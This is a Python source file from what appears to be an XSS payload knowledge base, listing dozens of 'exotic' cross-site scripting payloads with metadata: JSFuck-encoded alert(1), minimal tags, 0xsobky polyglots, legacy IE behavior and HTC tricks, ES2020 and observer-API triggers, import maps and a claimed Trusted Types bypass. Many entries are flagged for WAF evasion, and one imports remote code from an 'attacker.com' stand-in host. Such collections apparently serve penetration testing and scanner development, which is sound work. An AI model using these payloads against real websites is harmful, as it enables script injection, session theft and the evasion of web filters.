#!/usr/bin/env python3

"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Exotic XSS techniques from specialized sources.
JSFuck, Tiny XSS, Ultimate Polyglots, and other advanced techniques.
"""

from ..models import Encoding, PayloadEntry, Reliability, Severity


EXOTIC_TECHNIQUES_PAYLOADS = {
    # === JSFuck (jsfuck.com) ===
    # JSFuck encodes JavaScript using only []()!+ characters
    "exotic-jsfuck-alert-minimal": PayloadEntry(
        payload="[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[!+[]+!+[]+!+[]+!+[]]]+[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]])",
        contexts=["javascript", "html_content"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="JSFuck encoded alert(1) - uses only []()!+ characters",
        tags=["exotic", "jsfuck", "encoding", "bypass"],
        reliability=Reliability.HIGH,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    "exotic-jsfuck-simple": PayloadEntry(
        payload="(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([]+[]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]]",
        contexts=["javascript"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="JSFuck string generation - builds 'alert1'",
        tags=["exotic", "jsfuck", "string"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    # === Tiny XSS Payloads (terjanq) ===
    "exotic-tiny-svg-onload": PayloadEntry(
        payload="<svg/onload=alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Tiny XSS - minimal svg payload (20 chars)",
        tags=["exotic", "tiny", "svg", "minimal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "exotic-tiny-img": PayloadEntry(
        payload="<img src=x onerror=alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Tiny XSS - minimal img payload",
        tags=["exotic", "tiny", "img", "minimal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "exotic-tiny-body": PayloadEntry(
        payload="<body onload=alert(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Tiny XSS - body onload",
        tags=["exotic", "tiny", "body", "minimal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "exotic-tiny-script": PayloadEntry(
        payload="<script>alert(1)</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Tiny XSS - basic script",
        tags=["exotic", "tiny", "script", "basic"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "exotic-tiny-a-href": PayloadEntry(
        payload="<a href=javascript:alert(1)>x</a>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Tiny XSS - anchor javascript href",
        tags=["exotic", "tiny", "anchor", "javascript"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    # === 0xsobky Ultimate XSS Polyglot ===
    "exotic-0xsobky-polyglot": PayloadEntry(
        payload="jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//>\\x3e",
        contexts=["html_content", "javascript", "html_attribute", "url", "css"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="0xsobky Ultimate XSS Polyglot - works in 20+ contexts",
        tags=["exotic", "0xsobky", "polyglot", "ultimate", "universal"],
        reliability=Reliability.HIGH,
        encoding=Encoding.MIXED,
        waf_evasion=True,
    ),
    "exotic-0xsobky-v2": PayloadEntry(
        payload="';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}",
        contexts=["html_content", "javascript", "html_attribute"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="0xsobky polyglot v2 with fromCharCode",
        tags=["exotic", "0xsobky", "polyglot", "fromCharCode"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === d3adend.org ghettoBypass ===
    "exotic-ghetto-expression": PayloadEntry(
        payload='<x style="behavior:url(#default#time2)" onbegin="alert(1)">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="IE behavior expression bypass",
        tags=["exotic", "ghetto", "ie", "behavior", "expression"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["ie"],
    ),
    "exotic-ghetto-htc": PayloadEntry(
        payload='<x style="behavior:url(/xss.htc)">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="IE HTC file inclusion",
        tags=["exotic", "ghetto", "ie", "htc", "behavior"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["ie"],
    ),
    "exotic-ghetto-xml-import": PayloadEntry(
        payload='<?import namespace="xss" implementation="http://attacker.com/xss.htc">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="IE XML namespace import",
        tags=["exotic", "ghetto", "ie", "xml", "import"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["ie"],
    ),
    "exotic-ghetto-vml": PayloadEntry(
        payload='<v:rect style="behavior:url(#default#VML)" onmouseover="alert(1)" strokecolor="white" strokeweight="10000px">',
        contexts=["html_content"],
        severity=Severity.MEDIUM,
        cvss_score=6.5,
        description="IE VML vector markup",
        tags=["exotic", "ghetto", "ie", "vml", "vector"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["ie"],
    ),
    # === Advanced Obfuscation ===
    "exotic-arrow-function": PayloadEntry(
        payload="<img src=x onerror=(()=>{alert(1)})()>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ES6 arrow function in onerror",
        tags=["exotic", "es6", "arrow", "function"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "exotic-async-await": PayloadEntry(
        payload="<img src=x onerror=async function(){await alert(1)}()>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ES8 async/await in onerror",
        tags=["exotic", "es8", "async", "await"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
    ),
    "exotic-generator": PayloadEntry(
        payload="<img src=x onerror=function*(){yield alert(1)}().next()>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ES6 generator function",
        tags=["exotic", "es6", "generator"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "exotic-proxy": PayloadEntry(
        payload="<img src=x onerror=new Proxy({},{get:()=>alert(1)}).x>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ES6 Proxy object trap",
        tags=["exotic", "es6", "proxy", "trap"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "exotic-reflect": PayloadEntry(
        payload="<img src=x onerror=Reflect.apply(alert,null,[1])>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ES6 Reflect.apply call",
        tags=["exotic", "es6", "reflect", "apply"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "exotic-spread": PayloadEntry(
        payload="<img src=x onerror=[...alert(1)]>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ES6 spread operator trigger",
        tags=["exotic", "es6", "spread"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    "exotic-destructuring": PayloadEntry(
        payload="<img src=x onerror={x:alert(1)}>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Object shorthand in event",
        tags=["exotic", "es6", "destructuring"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === Symbol and BigInt ===
    "exotic-symbol-toprimitive": PayloadEntry(
        payload="<img src=x onerror={[Symbol.toPrimitive]:()=>alert(1)}+''>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Symbol.toPrimitive coercion trigger",
        tags=["exotic", "es6", "symbol", "coercion"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    "exotic-bigint": PayloadEntry(
        payload="<img src=x onerror=alert(1n)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="BigInt literal in alert",
        tags=["exotic", "es2020", "bigint"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === Optional Chaining / Nullish Coalescing ===
    "exotic-optional-chain": PayloadEntry(
        payload="<img src=x onerror=window?.alert?.(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ES2020 optional chaining",
        tags=["exotic", "es2020", "optional-chaining"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    "exotic-nullish": PayloadEntry(
        payload="<img src=x onerror=(null??alert)(1)>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ES2020 nullish coalescing",
        tags=["exotic", "es2020", "nullish"],
        reliability=Reliability.HIGH,
        encoding=Encoding.NONE,
        waf_evasion=True,
    ),
    # === Intl API Abuse ===
    "exotic-intl-locale": PayloadEntry(
        payload="<img src=x onerror=new Intl.Locale('en',{script:alert(1)})>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Intl.Locale constructor abuse",
        tags=["exotic", "intl", "locale"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === CSS in JS ===
    "exotic-css-attr": PayloadEntry(
        payload='<div style="--x:expression(alert(1))">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="CSS custom property with expression (IE)",
        tags=["exotic", "css", "custom-property", "ie"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
        browser_support=["ie"],
    ),
    "exotic-css-url-js": PayloadEntry(
        payload='<div style="background:url(javascript:alert(1))">',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="CSS url() with javascript (legacy)",
        tags=["exotic", "css", "url", "javascript"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === Mutation Observer Abuse ===
    "exotic-mutation-observer": PayloadEntry(
        payload="<img src=x id=x><script>new MutationObserver(()=>alert(1)).observe(x,{attributes:1});x.id=1</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="MutationObserver callback XSS",
        tags=["exotic", "mutation", "observer", "callback"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === IntersectionObserver ===
    "exotic-intersection-observer": PayloadEntry(
        payload="<img id=x><script>new IntersectionObserver(([e])=>{if(e.isIntersecting)alert(1)}).observe(x)</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="IntersectionObserver visibility trigger",
        tags=["exotic", "intersection", "observer"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === PerformanceObserver ===
    "exotic-performance-observer": PayloadEntry(
        payload="<script>new PerformanceObserver(()=>alert(1)).observe({entryTypes:['resource']})</script><img src=x>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="PerformanceObserver resource load trigger",
        tags=["exotic", "performance", "observer"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === ResizeObserver ===
    "exotic-resize-observer": PayloadEntry(
        payload="<div id=x style=width:0><script>new ResizeObserver(()=>alert(1)).observe(x);x.style.width='1px'</script>",
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="ResizeObserver size change trigger",
        tags=["exotic", "resize", "observer"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === Import Maps ===
    "exotic-import-map": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Import map with data URL",
        tags=["exotic", "import-map", "module", "data-url"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === Trusted Types Bypass ===
    "exotic-trusted-types": PayloadEntry(
        payload="<script>trustedTypes.createPolicy('x',{createHTML:s=>s});document.body.innerHTML=trustedTypes.getPropertyType(document.body,'innerHTML')?trustedTypes.policies[0].createHTML('<img src=x onerror=alert(1)>'):'<img src=x onerror=alert(1)>'</script>",
        contexts=["html_content"],
        severity=Severity.CRITICAL,
        cvss_score=9.0,
        description="Trusted Types policy creation bypass",
        tags=["exotic", "trusted-types", "bypass", "policy"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
    # === Declarative Shadow DOM ===
    "exotic-shadow-dom-declarative": PayloadEntry(
        payload='<div><template shadowroot="open"><img src=x onerror=alert(1)></template></div>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Declarative Shadow DOM XSS",
        tags=["exotic", "shadow-dom", "declarative", "template"],
        reliability=Reliability.MEDIUM,
        encoding=Encoding.NONE,
    ),
    # === Speculation Rules ===
    "exotic-speculation-rules": PayloadEntry(
        payload='<script type="speculationrules">{"prefetch":[{"source":"list","urls":["javascript:alert(1)"]}]}</script>',
        contexts=["html_content"],
        severity=Severity.HIGH,
        cvss_score=7.5,
        description="Speculation Rules API abuse",
        tags=["exotic", "speculation-rules", "prefetch"],
        reliability=Reliability.LOW,
        encoding=Encoding.NONE,
    ),
}
